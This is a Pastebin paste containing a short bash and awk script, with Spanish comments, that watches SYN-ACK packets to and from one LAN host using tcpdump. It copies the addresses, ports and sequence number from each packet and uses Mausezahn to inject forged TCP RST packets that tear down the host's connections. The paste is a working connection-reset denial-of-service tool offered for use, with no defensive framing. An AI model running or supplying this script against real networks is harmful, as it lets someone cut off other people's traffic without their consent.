Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #script by The Monster of cookies
- #!/bin/bash
- tcpdump -i wlan0 host 192.168.0.107 and -S -n -e -l 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' | awk '{
- CONVFMT="%u";
- srand();
- #recogemos las variables de la salida tcpdump
- dst_mac = $2;
- src_mac = $4;
- split($12, dst, ".");
- split($10, src, ".");
- src_ip = src[1]"."src[2]"."src[3]"."src[4];
- dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
- src_port = substr(src[5], 1, length(src[5]));
- dst_port = substr(dst[5], 1, length(dst[5])-1);
- # recogemos el ack number para poder mandar paquetes licitos
- seq_num = $18 ;
- # le pasamos la informacion a mausehn
- exec_string= "mz wlan0 -c 10 -A "dst_ip" -B " src_ip " -a "src_mac" -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ", s="seq_num " sp="dst_port" \" " ;
- # Display some helpful debugging info.. input vs. output
- print "[in] "$1 " "$2 " "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19;
- print "[out] "exec_string;
- # Injectamos los paquetes con Mausehn
- system(exec_string);
- }'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement